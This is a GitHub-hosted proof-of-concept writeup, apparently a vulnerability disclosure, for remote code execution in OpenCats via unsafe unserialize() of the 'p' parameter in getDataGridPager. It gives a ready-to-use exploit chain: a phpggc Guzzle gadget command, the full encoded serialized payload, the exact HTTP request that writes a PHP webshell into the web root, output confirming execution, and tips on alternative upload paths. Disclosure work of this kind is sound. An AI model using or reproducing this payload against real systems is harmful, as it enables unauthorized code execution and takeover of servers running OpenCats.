

main

...

opencats_zero-days / RCE_via_deserialisation.md



hansmach1ne Create RCE_via_deserialisation.md

History

1 contributor

30 lines (18 sloc) | 1.48 KB

...

Remote Code Execution via insecure deserialization in OpenCats getDataGridPager's ajax functionality.

Vulnerable code

```
$ pvulnz | grep -E "unserialize" | grep -E "GET|POST|REQUEST"
ajax/getDataGridPager.php:44     $parameters = unserialize($_REQUEST['p']);
```

How to achieve command execution

Useful information: OpenCats uses Guzzle, it can be used as a gadget chain. It is possible to craft serialized object using [phpggc](#) tool, that has Guzzle gadget chain predefined.

1. Create payload that will be executed. I will use `phpinfo()`.

```
echo "<?php phpinfo(); ?>" > /tmp/shell.php
```

2. Create serialized payload with phpggc that will upload malicious shell to provided directory on web server.

```
./phpggc -u --fast-destruct Guzzle/FW1 /var/www/html/opencats/pwned.php  
/tmp/shell.php
```

```
└─$ ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/html/opencats/pwned.php /tmp/shell.php  
a%3A2%3A%7Bi%3A7%3B0%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFile  
CookieJar%00filename%22%3Bs%3A32%3A%22%2Fvar%2Fwww%2Fhtml%2Fopencats%2Fpwned.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie  
%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%  
3A%7Bi%3A0%3B0%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00da  
ta%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A20%3A%22%3C  
%3Fphp+phpinfo%28%29%3B+%3F%3E%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7D  
i%3A7%3Bi%3A7%3B%7D
```

3. Copy the payload inside 'p' parameter.

```
/ajax.php?f=getDataGridPager&i=1&p=PAYLOAD_FROM_PREVIOUS_STEP
```


```
1 GET /opencats/ajax.php?f=getDataGridPager&i=1&p=  
a%3A2%3A%7Bi%3A7%3B0%3A31%3A%22GuzzleHttp\Cookie\FileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp\Cookie\FileCookieJar%00filename%22%3Bs%3A32%3A%22%2Fvar%2Fwww%2Fhtml%2Fopencats%2Fpwned.php%22%3Bs%3A52%3A%22%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp\Cookie\CookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3B0%3A27%3A%22GuzzleHttp\Cookie\SetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp\Cookie\SetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A20%3A%22%3C%3Fphp+phpinfo()%%3B+%3F%3E%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp\Cookie\CookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D HTTP/1.1  
2 Host: 192.168.203.135  
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate  
7 Connection: close  
8 Cookie: CATS=9ac4nhcg5nggiquihbuclr81uu  
9 Upgrade-Insecure-Requests: 1  
10
```

4. Execute webshell.

PHP 7.3.31-1~deb10u1 - phpinfo() - Mozilla Firefox

192.168.203.135/opencats/pwned.php

[{"Expires":1,"Discard":false,"Value":}]

PHP Version 7.3.31-1~deb10u1


System	Linux debian10 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
Build Date	Oct 24 2021 15:18:08
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/7.3/apache2
Loaded Configuration File	/etc/php/7.3/apache2/php.ini
Scan this dir for additional .ini files	/etc/php/7.3/apache2/conf.d
Additional .ini files parsed	/etc/php/7.3/apache2/conf.d/10-mysqlnd.ini, /etc/php/7.3/apache2/conf.d/10-opcache.ini, /etc/php/7.3/apache2/conf.d/10-pdo.ini, /etc/php/7.3/apache2/conf.d/15-xml.ini, /etc/php/7.3/apache2/conf.d/20-bcmath.ini, /etc/php/7.3/apache2/conf.d/20-calendar.ini, /etc/php/7.3/apache2/conf.d/20-ctype.ini, /etc/php/7.3/apache2/conf.d/20-curl.ini, /etc/php/7.3/apache2/conf.d/20-dba.ini, /etc/php/7.3/apache2/conf.d/20-dom.ini, /etc/php/7.3/apache2/conf.d/20-exif.ini, /etc/php/7.3/apache2/conf.d/20-fileinfo.ini, /etc/php/7.3/apache2/conf.d/20-ftp.ini, /etc/php/7.3/apache2/conf.d/20-gd.ini, /etc/php/7.3/apache2/conf.d/20-gettext.ini, /etc/php/7.3/apache2/conf.d/20-gmp.ini, /etc/php/7.3/apache2/conf.d/20-iconv.ini, /etc/php/7.3/apache2/conf.d/20-intl.ini, /etc/php/7.3/apache2/conf.d/20-json.ini, /etc/php/7.3/apache2/conf.d/20-ldap.ini, /etc/php/7.3/apache2/conf.d/20-mbstring.ini, /etc/php/7.3/apache2/conf.d/20-mysqli.ini, /etc/php/7.3/apache2/conf.d/20-pdo_mysql.ini, /etc/php/7.3/apache2/conf.d/20-pdo_sqlite.ini, /etc/php/7.3/apache2/conf.d/20-phar.ini, /etc/php/7.3/apache2/conf.d/20-posix.ini, /etc/php/7.3/apache2/conf.d/20-readline.ini, /etc/php/7.3/apache2/conf.d/20-shmop.ini, /etc/php/7.3/apache2/conf.d/20-simplexml.ini, /etc/php/7.3/apache2/conf.d/20-sockets.ini, /etc/php/7.3/apache2/conf.d/20-xml.ini, /etc/php/7.3/apache2/conf.d/20-xmlrpc.ini, /etc/php/7.3/apache2/conf.d/20-zip.ini, /etc/php/7.3/apache2/conf.d/20-zlib.ini

Ending notes. Upload location might vary from system to system, depending if www-data has write permission to web server's root directory. In case / (web server's root) is not writeable, upload a webshell to '/upload/pwned.php' instead.